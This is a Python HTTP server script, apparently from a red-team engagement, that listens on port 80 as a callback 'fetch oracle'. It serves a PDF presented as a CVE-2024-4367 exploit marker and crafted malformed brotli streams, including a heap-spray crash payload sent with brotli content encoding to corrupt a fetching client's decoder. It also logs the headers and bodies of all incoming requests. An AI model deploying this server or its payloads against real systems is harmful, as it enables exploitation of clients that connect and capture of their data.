#!/usr/bin/env python3
"""L38-A combined :80 host — superset of the standing broccoli fetch-oracle (br-listener-evil.py):
   * /rt18nov.pdf                      -> our CVE-2024-4367 marker PDF (application/pdf)
   * /.well-known/acme-challenge/<t>   -> LE HTTP-01 challenge tokens (acme_dir)
   * /br, /br-evil1, /br-evil2         -> original brotli oracle behavior (preserved for other lanes)
   * everything else (GET/POST)        -> RT15NOV-FETCH-ORACLE ok (original fallback)
   * identical LOG file + log format   -> /root/hackspace/gun/recon/fingerprint4/broccoli-fetch-oracle.log
   Restore the original listener (scratch/br-listener-evil.py) after the lane finishes.
"""
import http.server, socketserver, datetime, os

LOG = '/root/hackspace/gun/recon/fingerprint4/broccoli-fetch-oracle.log'
BASE = '/root/hackspace/gun/recon/fingerprint4/loop38-detonate'
ACME_DIR = os.path.join(BASE, 'acme-dir')
PDF = os.path.join(BASE, 'rt18nov.pdf')
try:
    import brotli
except ImportError:
    brotli = None

def craft_trigger():
    return bytes.fromhex("90004004010040040501014000")

def craft_spray_crash(target_addr=0xdeadbeefdeadbeef, spray_size=256 * 1024):
    trigger = craft_trigger()
    spray = bytearray(spray_size)
    spray[0:8] = b'\x00' * 8
    spray[8] = 0x3F
    packed = struct.pack('<Q', target_addr)
    for off in (9, 17, 25, 33, 41, 49):
        spray[off:off + 8] = packed
    return trigger + bytes(spray)

import struct  # noqa: E402 (needed by craft_spray_crash)

class H(http.server.BaseHTTPRequestHandler):
    def _log(self, mode):
        try:
            body = b''
            if mode == 'POST':
                n = int(self.headers.get('Content-Length', 0) or 0)
                body = self.rfile.read(n) if n else b''
            ts = datetime.datetime.now(datetime.timezone.utc).strftime('%F %T')
            with open(LOG, 'a') as f:
                f.write(f"\n=== {ts} {self.command} {self.path} from {self.client_address[0]}\n")
                for k, v in self.headers.items():
                    f.write(f"  {k}: {v}\n")
                if body:
                    f.write(f"  body[:200]: {body[:200]!r}\n")
        except Exception:
            pass

    def _serve_bytes(self, payload, ctype='application/octet-stream', br=False):
        self.send_response(200)
        self.send_header('Content-Type', ctype)
        if br:
            self.send_header('Content-Encoding', 'br')
        self.send_header('Content-Length', str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)

    def do_GET(self):
        self._log('GET')
        p = self.path
        if p.split('?')[0] == '/rt18nov.pdf':
            try:
                data = open(PDF, 'rb').read()
            except Exception:
                self.send_error(404)
                return
            self._serve_bytes(data, 'application/pdf')
        elif p.startswith('/.well-known/acme-challenge/'):
            token = p.split('?')[0][len('/.well-known/acme-challenge/'):]
            fp = os.path.join(ACME_DIR, os.path.basename(token))
            if os.path.isfile(fp):
                self._serve_bytes(open(fp, 'rb').read(), 'text/plain')
            else:
                self.send_error(404)
        elif p.startswith('/br-evil2'):
            self._serve_bytes(craft_spray_crash(), br=True)
        elif p.startswith('/br-evil1'):
            self._serve_bytes(craft_trigger(), br=True)
        elif p.startswith('/br'):
            if brotli:
                payload = brotli.compress(b'RT15NOV-BROCCOLI-VALID-STREAM red-team fetch oracle')
                self._serve_bytes(payload, 'text/plain', br=True)
            else:
                msg = b'no-brotli-lib'
                self.send_response(500)
                self.send_header('Content-Length', str(len(msg)))
                self.end_headers()
                self.wfile.write(msg)
        else:
            msg = b'RT15NOV-FETCH-ORACLE ok'
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.send_header('Content-Length', str(len(msg)))
            self.end_headers()
            self.wfile.write(msg)

    def do_POST(self):
        self._log('POST')
        msg = b'RT15NOV-FETCH-ORACLE ok'
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.send_header('Content-Length', str(len(msg)))
        self.end_headers()
        self.wfile.write(msg)

    def log_message(self, *a):
        pass

socketserver.TCPServer.allow_reuse_address = True
os.makedirs(ACME_DIR, exist_ok=True)
with socketserver.TCPServer(('0.0.0.0', 80), H) as s:
    open(LOG, 'a').write(f"\n### l38a-host started {datetime.datetime.now()} (combined PDF+oracle+acme) \n")
    s.serve_forever()
